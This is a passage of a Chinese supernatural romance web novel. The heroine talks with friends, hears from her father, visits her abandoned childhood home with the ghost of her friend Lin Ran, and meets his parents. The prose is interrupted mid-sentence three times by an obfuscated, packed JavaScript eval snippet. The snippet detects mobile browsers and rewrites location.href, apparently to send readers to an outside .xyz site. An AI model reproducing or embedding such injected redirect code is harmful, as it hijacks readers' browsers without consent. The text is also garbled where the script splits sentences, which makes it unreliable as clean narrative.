努力工作（小饼）：小纪姐，这个药水真管用啊，我能再买一点吗？ 努力工作（小饼）：我听你的话，只用了一次，但我妈妈也想看看阿宝，可以吗？ 努力工作（小饼）：可怜小狗.jpg 霜（纪明霜）：可以是可以啦。 霜（纪明霜）：不过这个药水，一个月只能用一次，不然对身体不好。 努力工作（小饼）：嗯嗯，我明白的。 努力工作（小饼）：那我们什么时候交易？ 霜（纪明霜）：嗯……差不多下下周吧，我再给你准备两次的用量。 努力工作（小饼）：太好啦，谢谢小纪姐！ 霜（纪明霜）：/可爱 纪明霜又给靳尤白发了消息。 霜（纪明霜）：今天许远来找我了。 举头望明月（靳尤白）：什么？ 举头望明月（靳尤白）：霜霜，你没事吧。 举头望明月（靳尤白）：他怎么又来，真是个混蛋！ 举头望明月（靳尤白）：我现在要把他从黑名单里放出来，好好骂他一顿！ 霜（纪明霜）：不用，别放出来，也别联系他。 霜（纪明霜）：我觉得他应该不会继续纠缠你了。 举头望明月（靳尤白）：什么？ 举头望明月（靳尤白）：怎么可能嘛。 举头望明月（靳尤白）：我都快被他烦死了，一天天的，就知道给我发小作文。 举头望明月（靳尤白）：而且他还调查我的事，还自以为知道了真相。 举头望明月（靳尤白）：你都不知道，他还对我说，‘你悔过吧’，啊，好生气，我这辈子对不起谁，都没对不起他！ 纪明霜的身边有一点动静，她低头一看，原来是小黑猫正四脚朝天地躺着，专心致志地玩着她包包挂着的装饰小毛球，纪明霜摸了它一下，它抬头看了纪明霜一眼，然后就跑掉了。 许远今天被吓得不轻呢，况且纪明霜泼在他脸上的药水，大概会让他最近几天变得有点倒霉吧。 霜（纪明霜）：放心啦，难道你不相信我吗？ 霜（纪明霜）：我今天跟他好好地讲了道理，我相信，他的想法应该会有所改变。 霜（纪明霜）：不过，他不仅调查了你，还跟踪了你，他跟我说了你在水上神庙被搭讪的事，怎么，有情况吗？ 举头望明月（靳尤白）：这个嘛，他就是来问个路，我就给他指了路。 举头望明月（靳尤白）：但他长得真好看啊，如果是平时，我就直接跟他要联系方式了，但我最近没这个心情，就先放过他了。 举头望明月（靳尤白）：不过，许远居然找人跟踪我，可恶，我这就告诉我妈。 霜（纪明霜）：嗯嗯。 75. 第75章 江景 第二天，纪明霜照常去公司上班，她坐在工位上，对着显示器打着哈欠，办公室阿姨走过来，关切地问，“小纪，昨晚没睡好吗。” 纪明霜说，“没，我昨天睡得还不错，但是看着这些数字，就忍不住犯困了……” 办公室阿姨给她倒了一杯热气腾腾的玫瑰茶，“谁说不是呢，不过，我已经看不了这些报表了，多看一眼就头晕眼花，唉，人不服老可不行。” 纪明霜接过玫瑰茶，喝了一口，然后就继续工作了。 午休的时候，她收到了靳尤白发来的消息。 举头望明月（靳尤白）：霜霜，破案了。 霜（纪明霜）：哦？ 举头望明月（靳尤白）：昨天收到你的消息，我就感觉很奇怪。 举头望明月（靳尤白）：因为许远平时挺节俭的，平时遇到需要付账的时候，他就左顾右盼的，生怕我让他付钱。 举头望明月（靳尤白）：我出了国，还去了不少景点，如果真的要找人跟踪，价格应该不太便宜。 举头望明月（靳尤白）：结果你猜怎么着？ 霜（纪明霜）：你快说啊！ 举头望明月（靳尤白）：他加了我们家保姆王妈的微信，王妈特别爱发朋友圈，他就是从这得到的消息。 举头望明月（靳尤白）：对了，这次我们家保姆和司机也跟着出国游玩了，包吃住的。 霜（纪明霜）：哦。 举头望明月（靳尤白）：我昨天晚上睡不着，读了他写的小作文，这才发现的。 举头望明月（靳尤白）：我都气乐了，王妈是他的特别关注，但我不是。 举头望明月（靳尤白）：王妈听了，也挺生气，把他给拉黑了。 霜（纪明霜）：说起来，你那边的事情顺利吗？ 举头望明月（靳尤白）：还好吧，我见到了大师，但大师见了我就直摇头，然后就说了好多话，但他说的话，我都听不懂。 举头望明月（靳尤白）：最关键的是，我们的访问人数有限制，还不能携带电子设备，临时找来的翻译是个半吊子，从大师那里出来之后，我、我妈，还有那个翻译，就大眼瞪小眼的。 霜（纪明霜）：这…… 举头望明月（靳尤白）：但他确实听出了什么，他跟我说，逃避是没用的，希望仍然存在，这并不是必死的局面。 举头望明月（靳万白）：然后他又说，事情已经在向更好的方向发展了，让我不要放弃。 霜（纪明霜）：如果是这样的话，那真的是太好了。 霜（纪明霜）：说起来，那位大师灵验吗？ 举头望明月（靳尤白）：据说蛮灵的呢。 举头望明月（靳尤白）：反正收费很贵就是了，还要看缘分什么的。 举头望明月（靳尤白）：出来之后，我妈说要出十倍、二十倍的价格，那位大师也没有同意再见一面了。 举头望明月（靳尤白）：目前就是这样。 举头望明月（靳尤白）：得亏我还特意跟你告别，还留下一封手写信，结果出国的时间还没我出差的时间长。 举头望明月（靳尤白）：真是太丢人了，你以后千万别跟我提起这件事。 霜（纪明霜）：好好好。 纪明霜放下手机，看到林然正在看着她，她问，“怎么，已经看完了吗。” 林然点点头，“嗯，不过这次的数据没有问题，可以直接提交。” 纪明霜把手放在鼠标上，“那真是太好了……” 林然：“是吗，但你看上去并不开心。” 纪明霜靠在椅子上，盯着办公室里的灯管，“是啊，因为我知道，暹罗的大师也帮不了她，这条路也行不通。” 林然说，“但我知道另一件事，就算处于最糟糕的境遇中，仍然会有转机的出现。” 纪明霜：“是吗，但是我想不出来，那样强的怨气，要怎样才能化解呢……至于你说的转机，什么时候才能出现呢？” 这时，纪明霜的手机响了，她拿起手机，是阿依在群里发消息了。 晚安（阿依）：啊啊啊，那个人真是太可恶了！ 晚安（阿依）：我们今天又去他家了。 晚安（阿依）：他打开门，看到纪姐不在，就把门关上了。 晚安（阿依）：过了两个小时，他都没有开门……我的天哪，我好生气，他把我们当什么了，一点都不尊重人！ 早安（徐阳）：是啊，他的态度好恶劣，好像我们是江湖骗子一样，我们可是货真价实的灵异事件调查小组，就是有点学艺不精而已。 早安（徐阳）：况且他一个男的，怎么能凶阿依呢。 早安（徐阳）：我们已经走了，明天也不去了，平白无故受气。 早安（徐阳）：什么人啊！ 人生如茶（高大师）：何必生气呢？ 人生如茶（高大师）：抛竿入水，烦恼全无。 人生如茶（高大师）：（图片） 纪明霜点开了图片，高大师已经坐在江边钓鱼了，他的面前架着鱼竿，鱼竿旁边放着水桶、饵料和抄网，江面看似平静，却有着重重的波澜，一眼望去，给人一种水面是凝固着的错觉，虽然现在的温度很低，但水面还没有结冰呢。 早安（徐阳）：总之，接下来的一周，我们就在树莓市吃喝玩乐，等下周再回去。 晚安（阿依）：嗯嗯，反正也没有新的委托。 纪明霜放下手机，她还在想着转机的事。 转机啊…… 到底什么时候才会出现呢？ 就在这时，纪明霜的手机响了，来电是一个熟悉又陌生的号码，纪明霜看着来电显示上的数字，在心里把这串号码念了两遍，真是意外的来电呢…… 纪明霜接起了电话，“喂？” 电话那头却非常安静，只有一个男人沉重的呼吸声，纪明霜也没有说话，在这种氛围中，男人率先开口了，“霜霜，我是爸爸。” “嗯。”纪明霜说。 “我听说你去了树莓市立图书馆，是在调查我的事吗？” “是的。”纪明霜说，“没想到你的精神状态还不错，我还以为你已经完全疯掉了呢。” “那时的事，我很抱歉……” “哦，不客气。” 听着纪明霜完全不走心的回答，对面的人安静了一会儿，才说，“抱歉，我忘记你失忆的事了，自我介绍一下吧，我是……” 纪明霜说，“我知道你是谁，纪大师。” 纪父又安静了一会儿，“你想起来了啊……” 纪明霜说，“我想起来的事，大多是关于林然的，关于你的事，我想起来的不多。” 这次，纪父沉默了很久，“你想知道过去的事吗？” 纪明霜问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544903|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“难道这很重要吗？” “是吗……”纪父长叹一声，“也许吧。” 纪明霜说，“我们现在都知道，什么才是最重要的，所以，靳尤白的事，你有什么办法吗？” “……你觉得呢。” 两人一时无话。 纪父说，“我的脑子时而清醒，时而混沌，特别是最近几年，我常常陷入梦境，只偶尔恢复意识，没办法帮你太多。这周日，在树莓市，我们见一面吧，是时候聊一聊过去的事了。” 纪明霜：“嗯。” 之后也没什么可说的了，纪父率先挂断了电话，纪明霜盯着显示器上的报表，久久不能回过神来，“林然，我们刚刚说到转机，你说这算是转机吗，但连他都没有办法……” “不试试看，怎么知道呢？”林然说，“纪明霜，别担心，我会陪着你的。” 纪明霜说，“你说得对，在解决灵异事件之前，先要理清事情的始末，他比我们都清楚，靳尤白身上的东西是从哪来的，所以……” 纪明霜的手机又响了一声，是靳尤白发来了消息。 举头望明月（靳尤白）：霜霜，机票已经买好了，是这周日的行程，我就要回国了哦。 举头望明月（靳尤白）：（图片） 举头望明月（靳尤白）：但买给你的礼物好像有点多…… 纪明霜点开图片看了看，怎么说呢，不是‘有点’多，而是非常多。 她家放得下吗？ 完全放不下吧！ 虽然不至于填满她的出租屋，但这些物品的收纳和摆设却是大麻烦，纪明霜仍不死心地问了句：图里的东西，都是给我的吗？ 举头望明月（靳尤白）：好吧，有一些在柜子里，没有摆出来，所以，嗯，实际上给你的东西，还有更多…… 霜（纪明霜）：但是我觉得，我家放不下，还有那四套衣服是怎么回事，我连合适的衣架都没有，更何况是衣柜。 举头望明月（靳尤白）：这个嘛…… 举头望明月（靳尤白）：（图片） 举头望明月（靳尤白）：角度问题，你看错了，一共六套。 举头望明月（靳尤白）：要不这样吧，我给你送个衣柜过去。 举头望明月（靳尤白）：虽然更想给你买一个原木的，但你现在住在出租屋，买个布艺的也不错呢…… 霜（纪明霜）：那你还真是贴心呢…… 举头望明月（靳尤白）：嘿嘿。 霜（纪明霜）：这不是夸你的意思。 霜（纪明霜）：但我家确实放不下。 霜（纪明霜）：要不这样吧，先放在你家，我改天去拜访。 举头望明月（靳尤白）：可以的！ 举头望明月（靳尤白）：既然这样的话，我感觉我还可以再买一点。 霜（纪明霜）：你们不要再买了啦.jpg 就这样，靳尤白在国外吃吃喝喝玩玩，买了不少东西，过得很是开心。 周五晚上，纪明霜把小黑猫送到了方婆婆家，方婆婆倒是很乐意照顾小黑猫，小黑猫和方婆婆也很是亲近，它在方婆婆家里咪咪喵喵地跑来跑去，显得可爱极了。 而后，纪明霜坐上了去往树莓市的动车，纪父和她约定见面的日子在周日，但她周六也有规划好的行程。 当晚，她住在了提前预订好的江景酒店单人套房中。 76. 第76章 钥匙 纪明霜走进了套间里，这个套间并不算大，但床很大，靠近窗边，她提着包包，走到窗边，向外看去。 此时，太阳已经落山，但城市天际线仍是温暖的渐变橘色，天色还没完全暗下来，但霓虹灯光依旧明亮，江面上映着清透的色彩，与夜雨中映着车灯与红绿灯的路面有着异曲同工之妙，只是，江面上是有船的，从这么高望下去，船也是小小的，显得很有意境。 有点可惜的是，这套是特价房，观赏江景的的窗户并不是落地窗。 纪明霜扔下包包，扑到床上，“我喜欢这个房间！” 林然坐在房间办公桌前，托着下巴懒洋洋地说，“我当然知道你喜欢，因为你在弹簧床上跳来跳去，然后从窗口栽了出去，顺便一提，这里是十八楼。” 纪明霜：“……” 第二天早上，纪明霜被船鸣声吵醒，她拉开窗帘，清晨的雾是悠远而朦胧的，笼罩着目之所及的一切，天空、陆地和水面全都是冷清的灰蓝色，只是，天空最灰，陆地上的建筑物最暗，而水面最蓝。 纪明霜打了个哈欠，开始收拾东西，准备出门，她打车去了树莓中学高中部，今天是星期六，学生不用上学，她走到学校大门口，这里有一个告示栏，用途是树莓中学的光荣榜，上面贴着树莓中学今年的升学情况，有很多学生都考上了理想的学校，虽然发生过火灾事故，但树莓中学仍是全市最好的中学，这次也取得了很不错的成绩，这一点从学校外墙上挂着的若干红色横幅也能看得出来。 “我记得，你当时获得XYTQ晋级联赛一等奖的时候，一个人占了一整个版面呢。” 林然：“是吗……” 纪明霜点点头，“嗯，我当时还说要大吃一顿庆祝，但我们都不知道去哪家店吃比较好，附近好吃的店，我们全都吃过了，经过讨论，我们决定，就去平时经常光顾的那家店。” “然后呢？” 纪明霜一边走，一边说，“然后嘛……我也忘记了。我现在就连自己家在哪都不知道，但是，如果是像现在这样，和你一起走路回家，我就知道要往哪个方向走了。” 大概是察觉到了她的情绪，他只是说，“嗯。” “有的时候，我就在想，如果这一切都是一场梦就好了，我最近想起了很多，但这一切对我来说，实在是太不真实了……昨天晚上，我又梦到了过去的事，醒来之后，我才发现，哦，原来这才是梦啊，这种落差感让我的心空落落的，说实话，很难受。” “纪明霜……” 纪明霜打断了他的话，“你知道我梦到了什么吗？” 林然：“不知道。” “我梦到了那天早上，我正在整理书包，听见你的敲门声，就从二楼跑下来开门，然后我说，‘林然，我还没收拾好，你再等我一会。’ “你跟我说，‘知道了，你快点，我今天要值日呢。’ “我说，‘好的好的，马上就来。’ “我跑回二楼，把书桌上的东西通通放进书包里，然后跑到楼下，正准备穿鞋，你突然问我，‘纪明霜，你的水杯呢？’ “我说，‘应该是被我放在厨房了吧……算了，我们赶紧走吧。’ “你站在门口，对我说，‘水杯。’ “我跑进厨房，把水杯拿上，你又跟我说，‘钥匙呢？’ “我拿出钥匙，在你面前晃了晃，‘我拿着呢！’ “然后我们一起去上学，经过十字路口的时候，担心碰到老师和同学，我们就一前一后地分开走了。当时经常遇到我的同桌，他骑自行车来上学，每次都骑得好快，遇见认识的同学，他都会按铃，我记得有一天，我坐在座位上，正从书包里把作业拿出来，放到桌面上，他突然问我，‘纪明霜，你和林然是一起来学校的吗？’ “我吓了一跑，说，‘不是啊，怎么了？’ “他神神秘秘地跟我说，‘他每次都跟在你身后，不远不近的位置，不会是跟踪你吧。’ “我跟他说，‘也许他是不想跟我打招呼吧……’ “他说，‘是吗，我感觉他跟你的关系也不错啊。’ “我跟他说，‘不一定是因为这个，可能是他在背书啊。’ “他说，‘我去，有道理，破案了，纪小霜，还是你比较聪明嘛！’ “我跟他说，‘那当然。’ “然后，我回头一看，你就在我们身后，正在收练习册，交练习册之前，我写了一张纸条夹进去，我写的是：‘怎么样，我很聪明吧！’ “过了一会儿，你把纸条传回来，我看到纸条上，我写的话，你用红笔，打了个对勾。” 听了她的讲述，林然点了点头，一本正经地说，“嗯，好吧，我承认，你确实很聪明。” “是啊……”纪明霜勉强笑了笑，“我醒来的时候，心里非常难过，因为那只是普通的一天而已，对以前的我来说，真没什么特别的，但那样普通的一天，如今也再也回不去了……林然，我很抱歉，我居然把你忘记了……” 林然冷哼了一声，“纪明霜，我猜你现在在想，因为你害怕痛苦，所以就选择逃避，无论是主动还是被动，你都封存了这些记忆，你不喜欢这样的自己，对吧？” “嗯……” “拜托，纪明霜，我是喜欢你，又不跟你有仇，至于失不失忆，难道很重要吗，我只希望你能够幸福地活下去，况且，我的记忆也丢失了很多……唉，这大概就是我回返人间的代价吧。” 纪明霜说，“从我记事开始，我爸爸就经常出去工作，离开之后，就没有音信了，少则四五天，多则一两个月，他担心没人照顾我，就把我放在了你家。他每次离开，我都会担惊受怕，我害怕他把我抛弃，也担心你爸妈把我赶走，因为我不是你们家的小孩。后来，时间长了，我也习惯了，反正我爸爸给我留下了足够的钱。” “你爸爸还真是……” “真是有够不负责任的？我猜你会这么说，因为我也是这么想的。”纪明霜笑了笑，“我们两家是邻居，后院有一扇连通的小门，每次你外公外婆想来看你的时候，你妈妈都会把你赶到我家院子里，你每次来的时候，都会背上书包，和我一起写作业，说实话，真的很无聊，但我很开心，附近也有别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544904|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小朋友，他们都愿意和你一起玩，因为你长得好看，性格也很好，但你总是和我一起玩，我心里其实很得意呢。后来，因为有你，他们也愿意带上我一起玩，可惜啊，开始上学之后，这段友谊就结束了。” “只不过是一起玩捉迷藏的小孩子而已。” “也是。” 这时，纪明霜已经走到了家门口。 家？ 对于她来说，这里确实是熟悉又陌生的地方，她试着推了推门，没有推开，大门是锁着的，至于钥匙，早就找不到了。 她是一个独居的女生，没有把钥匙放在地毯或者花盆下面的习惯，况且，她的备用钥匙都是交给林然保管的，她看着自家的大门，“所以，我们好像得翻墙进去？” 林然说，“如果想进院子的话，可以从我家那边进去。” “咦，你家的大门没锁吗？” 林然：“我只是觉得，你可以搜一下我家门口的花盆下面。” 纪明霜走了过去，把破旧的军绿色塑料花盆拿起来，花盆下面是空空的托盘，她把托盘连同花盆一并拿起来，底下仍旧是空荡荡的，“没有啊，这么长时间过去了，就算有钥匙，也被其它人拿走了吧……” 林然说，“看看花盆的边缘。” 纪明霜仔细观察着花盆的边缘，“等等，这个好像是双层的……” 两层的花盆之间连得很紧，纪明霜费了很大的力气也没有掰开，林然说，“要不直接砸在地上，看看能不能砸开。” 纪明霜继续用力掰着花盆，“这样不太好吧，毕竟是你家的东西。” “是啊，毕竟是我家的东西，所以你可别搬起花盆砸到自己的脚了。” “怎么可能嘛……”纪明霜继续用力掰花盆，终于，她掰开了，花盆夹层里的一串钥匙也落在地面上，纪明霜捡起钥匙，把花盆放回原位，而后，她打开了林然家的大门。 林然家的院子里还算干净，可能是因为他的父母偶尔会回来看看吧。 纪明霜直接走去了后院，两家院子中间的小门也是锁着的，幸运的是，小门的钥匙也在这里，虽然门锁的表面有点生锈，但纪明霜还是顺利地进了自己家的院子里。 虽然院子的地面上铺了砖块，但砖缝里的杂草已经长得很高了，绿绿黄黄的，难看极了，乱七八糟的枯叶也铺了一层，院子里还多了些小石子和砖头碎块，不知是谁扔进来的，纪明霜之前还买了个大号无孔花盆养荷花，现在花盆里只有干裂的泥块。 纪明霜说，“我们应该没办法从家门走进去了，但是我好像记得，我临走之前并没有关窗？” “也就是说，你家可能六年都没关窗？” “我爸爸也有可能回来过，但他每次都是回来看看就走，连二楼都不上的，所以我觉得，我们能进去。”纪明霜往后走了走，看着二楼房间的窗户，“但窗户是虚掩着的，我也不太确定，都没有护窗，怎么爬上去啊……” 林然说，“让我来。” 林然上了纪明霜的身，而后，他顺利地爬到了纪明霜房间的窗前，拉了拉窗户，“是虚掩着的。” 77. 第77章 领带 窗户是虚掩着的，已经过了很久，虽然已经生锈，但也能缓缓拉开，但林然站在窗户外侧，其实并不方便开窗，纪明霜说，“你小心一下，别摔下去了。” 林然说，“放心。” 打开窗户之后，还有纱窗，经过了六年的风吹雨打，纱网已经变得很脆了，林然干脆破开了纱网，钻了进去，他先是站在房间的窗台上，又跳到窗前的地面上，而后，他把身体还给了纪明霜。 他说，“已经风化成这样了啊……” 纪明霜看着自己曾经温馨的小房间，窗台上、书桌上，床上，地板上，全都是灰尘，特别是她的床，已经看不出原本的颜色了，她原本放在书桌上的书本、笔记本和纸质资料，也已被风刮得乱七八糟了，纪明霜一步一个脚印地走出了房间。 幸运的是，其它的房间并不像纪明霜的卧室一样脏乱，因为没有开窗，房间里的东西只是落了静静的一层灰，重回故居，纪明霜的心情很复杂，有些陌生，有些新奇，更多的却是感伤。 她走进了卫生间，时隔六年，这里摆放的洗浴用品已经全部过期了，她经常使用的瓶瓶罐罐摆放得并不整齐，已经变得很轻了，保龄球一样，一次能被碰倒一大片，特别是一瓶含酒精的喷雾，还没用过几次，现在已经全部蒸发掉了。 她走到镜子前，抹了一把镜子上的灰，镜子没变干净，手指却变脏了，她想洗洗手，却发现已经停水了，洗手池边摆的一小盒湿巾，现在也干成擦脸巾了，幸亏她的包包里装了一瓶水，她倒水洗了手，突然发现了什么，她喊了一声，“林然？” 林站此时正站在卫生间的门口等她，“怎么？” “你进来看看嘛。” 林然这才走了进去，纪明霜指着卫生间的窗户，说道，“看，那里有一个鸟窝诶。” “嗯，大概是有鸟来筑巢，现在天气变冷了，它们也飞去南方了吧。”林然说，“下次叫我进来之前，能不能把你的内衣收一下。” 纪明霜看着衣架上挂着的普通运动内衣，嗯，也已经落了一层灰了，“算了吧，反正也不能穿了。” “但你以前也是这样……稍微注意一点啊。” “下次一定。” 说着，纪明霜离开了卫生间，走到了一楼的客厅，地毯、沙发、电视、花瓶，全都落了一层灰了，纪明霜打开了茶几下面的抽屉，“我记得我爸爸曾经往这里放过什么东西，不过我当时没注意，咦，是报纸啊……” 她拿出几张被剪下来的报纸，一张一张地看着，但报纸上只有几件本地案件的新闻，这应该是纪父当年收到的委托的相关资料吧，纪明霜把报纸放了回去，又走进了厨房。 跟卫生间不同的是，厨房里调料盒、油瓶、袋装的调味品袋子都整整齐齐地摆放在收纳架上，这些都是林然整理的，所以所有的标签都是朝向外面的，锅具、碗碟、刀具、案板按照大小、用途和使用频率摆放得井井有条，还有一些处理好的食材，也整齐地被放在白色石英台面上，低台上放着一个绿色购物袋，里面装着纪明霜以前爱吃的零食，当然，这些也全部过期了。 应该说庆幸吗，这里并不算干燥，所以并没有发霉，只是全部都干掉了。 而后，纪明霜来到玄关，她的钥匙平时会放在这里，但毕业典礼的那天，她一直都没找到钥匙，反正林然那里有她家的备用钥匙，于是，纪明霜就直接出门了，关门之后，她才想到，她有东西忘了拿，但是……唉，算了，没拿就没拿吧。 那天是树莓中学的毕业典礼，很可惜，有的只是校长的毕业寄语，教师代表发言，学生代表发言，以及毕业生的合唱歌曲，至于毕业晚会什么的，别想了，不存在的。 但在毕业典礼当晚，同学们也组织了聚会，到时候，班主任和任课老师都要来，纪明霜和林然也要去参加，纪明霜还特意买了一条漂亮的新裙子，装着新裙子的购物袋就放在玄关处的储物柜上。 购物袋的旁边，是另一个购物袋，这是她送给林然准备的毕业礼物，她经常给林然送东西，她买了两个石榴，也会送给林然一个，当然，林然也是这样。 但这份礼物，从高考结束到毕业典礼当天，她都没能送出去，可能是因为她怀着一点小心思的缘故吧……主动去找他，她其实不太好意思，矜重一点吧，她跟林然太熟了，她真的会笑场的，就这样，磨磨蹭蹭到了最后一天，她干脆把这个购物袋放在显眼的位置，就等着和林然一起出门的时候，他也许会问，纪明霜，这是什么？ 然后她就可以装作不经意地说，哦，是送给你的礼物，你拿走吧，不用客气。 这样，她就能巧妙地把礼物送给他了。 挑选礼物的时候，她想了很多，但她绝对想不到的是，这份礼物居然在她家储物柜上放了整整六年，六年啊，实在是太久了，久到纪明霜已经忘了她当时挑选了什么礼物，当她把扁长的礼盒从纸质购物袋里拿出来时，她才想起来，哦，原来是领带啊。 毕业典礼即将举行，她也不知道未来会怎样，如果可以的话，她其实不想离开他，所以，这是一份重要的礼物，纪明霜挑选了很久，最后订购了一条午夜蓝色的纯色领带，除了一个小小的银色徽记之外，没有其它任何装饰，很是简洁，但价格也并不便宜，四位数。 她之所以挑了这件礼物，也是怀了一点小心思的，她希望他能系上这条领带，作为优秀毕业生上台发言，嗯，这条领带的颜色和学校新式制服领带的颜色很是相近，但学校制服的领带是纯色的，仅此而已。 果然，拖延症是不好的，她想着，就算错过了毕业典礼也没关系，这也是一条很不错的领带，然后就过了整整六年。 事到如今，纪明霜说，“要不……我把这条领带烧给你吧。” “那……谢谢？”林然又问道，“说起来，旁边的小卡片是什么？” 纪明霜：“我记得订购这条领带的时候，可以备注要一张心意卡，但上面到底写了什么，我已经忘了……” “打开看看？” 纪明霜站到林然的对面，小心地打开了那张折好的小卡片，上面写着： 毕业快乐！ 纪明霜松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553218|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气，嗯，很好，简洁大方，中规中矩，她把卡片拿给林然看了看，“现在，我们一起找一下我的家门钥匙吧。” 林然，“你面前不就是吗？” 纪明霜：“咦？” 在新裙子的购物袋的右边，装礼物的购物袋的左边，纪明霜的家门钥匙静静地躺在中间，上面还挂着她当时很喜欢的奔跑香菇的小饰品，纪明霜把钥匙拿起来，放进了包包里。 而后，纪明霜去了家里的书房，她平时不怎么进书房的，她学习的地方，要么是自己的房间，要么是林然的房间，要么就是在学校。 家里的书房里，绝大多数都是纪父的东西，还有就是放钱的保险柜，幸亏纪明霜还记得保险柜的密码，但她已经有些手生了，过了好久才转好，她打开保险柜门，拿了一些钱出来，又把保险柜关好，然后就是检查书柜、书架还有书桌的抽屉了。 纪明霜在书房里待了很久，这里有很多已经整理归档的案件资料，资料很详细，但并不方便查找，幸亏有一份索引，纪父按照时间顺序写了每份委托的编号、简介、以及对应的档案文件夹的序号，但这里的文件夹很乱，索引并不能完全对得上，在这些档案里，有很多经常出现的名字，小真、阿何、林父…… 纪明霜一页一页地翻看着，这些案件资料是很有参考价值的，但关于靳尤白身上怨魂的档案却只有寥寥几句简介，原本应该装着案件资料的文件夹是空的，当然，这也是纪明霜推测出来的，因为这份档案的名字叫做：齐氏旧宅男童溺水案——离奇消失的黑雾之谜，备注是：未解决。 直到现在，纪明霜此行的目的已经基本达成，临走之前，她在房子里巡视了一圈，除了她的房间非常脏乱，其它的房间其实也还行吧，就是有很多过期的物品应该扔掉了，但现在还不是整理这些东西的时候，临走之前，她不忘关好卧室的窗户，嗯，亡羊补牢，为时未晚。 出门之后，纪明霜从小门进入了林然家的院子里，她拿了林然家的钥匙，总应该还回去吧。但花盆已经被打开过了，把钥匙放回花盆里也并不安全，至于林父和林母，她从医院醒来之后，林父和林母就自称是她的父母，但说实话，她和林父林母其实并不熟。 但她没想到的是，这次，林父和林母居然回到了旧宅，纪明霜正准备出门，林母就急急地追了出来，“霜霜？” 林父也紧随在林母身后，“霜霜，你怎么回来了，难道你……” 纪明霜有些拘谨，“那个，叔叔阿姨，你们好。” 林母愣了一下，“霜霜，你想起来了？” “嗯，我最近想起了一些过去的事……” 与此同时，纪明霜观察着林然的反应，然而，林然没什么反应。 他的父母感情很好，热爱生活，热爱工作，但他们并不是合格的父母，有了孩子以后，他们的生活依然自由而丰富，但他们并不愿意承担为人父母的责任，当他们意识到林然足够独立和懂事之后，他们就更肆无忌惮了，作为父母，也只偶尔回家看看他。 林母说，“霜霜，来，先进家吧。” 78. 第78章 果汁 虽然纪明霜以前经常过来，但她还是有些拘谨，林母连忙招呼她，“霜霜，不用换鞋了，反正我们也只是回来看看，压根没有打扫。” 纪明霜走进了客厅，看着格外空旷的房子，点点头，“嗯。” “虽然这里没法泡茶，但我带了果汁。”林母说着，把一瓶果汁递给了纪明霜。 纪明霜接过了果汁，“谢谢。” “不用客气。”林母又给纪明霜拿来一个板凳，“我们刚来不久，看到你的时候，还吓了一跳呢。” 纪明霜：“那个，不好意思……” 林母说，“哎呀，霜霜，没关系的。” 林父说，“明霜，愣着干什么，过来坐吧。” 纪明霜坐在了小板凳上，林母露出一个真心的笑容，“你没之前那么瘦了，气色也好了不少，真是太好了……” 纪明霜拿着果汁，“那个，关于林然的事……” 林母顿了一下，“我就知道，你还是放不下他，但你的生活还要继续，我和他爸爸已经走出来了，你不会连我们这两个老头老太太都不如吧。” 纪明霜失笑，“叔叔阿姨，你们也不算老啊。” 林父说，“是啊，这都多亏了林然，他一直都是个好孩子，从来都没让我们操过心……” 林母说，“小然是个好孩子，但我们却不是好父母，如果早知道会有今天，我、我……说什么都不会离开他，我甚至都没好好陪过他，一直都忙着工作，直到现在，为时已晚。” 眼看着林母就要落下泪来，纪明霜连忙给她递纸巾，“阿姨，别难过……” 面对此情此景，林然没有说话，他只是站在一旁看着，没什么多余的表情。 林母接过纸巾，擦了擦眼角，“上大学的时候，我认识了你林叔叔，谈了恋爱之后，再也没分开过，我当时是个大小姐，他却只是一个穷小子，我父母不同意我们的婚事，在我们结婚之后，再也没给我打过钱，但是我不在乎，日子虽然清贫，但我很喜欢他，也喜欢我的工作，所以我很幸福，直到小然出生。 “我们的工资不高，收入不够，没有办法，我只能把小然交给我父母抚养，后来，我缺少研究经费，看在小然的份上，我父母又开始给我打钱，也是在这个时期，我们搬出了员工宿舍，买了这套房子。但我很想小然，每当看到留给小然的房间，这种思念就会加深一层，所以，我把小然抢了回来，在这之后，每当我父母过来看望小然，我就会把小然藏起来，因为我很害怕，怕我父母把小然抢走，但我忘了，爸爸妈妈也是我的亲人啊…… “因为小然由我抚养，所以他们还继续给我打钱，那些钱被我用作团队的研究经费，后来，我开始做民俗相关的学术研究，只偶尔回来看看小然。最开始的时候，小然很期盼我们回家，见我们回来，就会出来迎接，后来，看到我们回来，小然的反应就平淡多了，我们只当是他长大了……” “可是，就算再怎么懂事，他当时也只是个孩子啊……”纪明霜说。 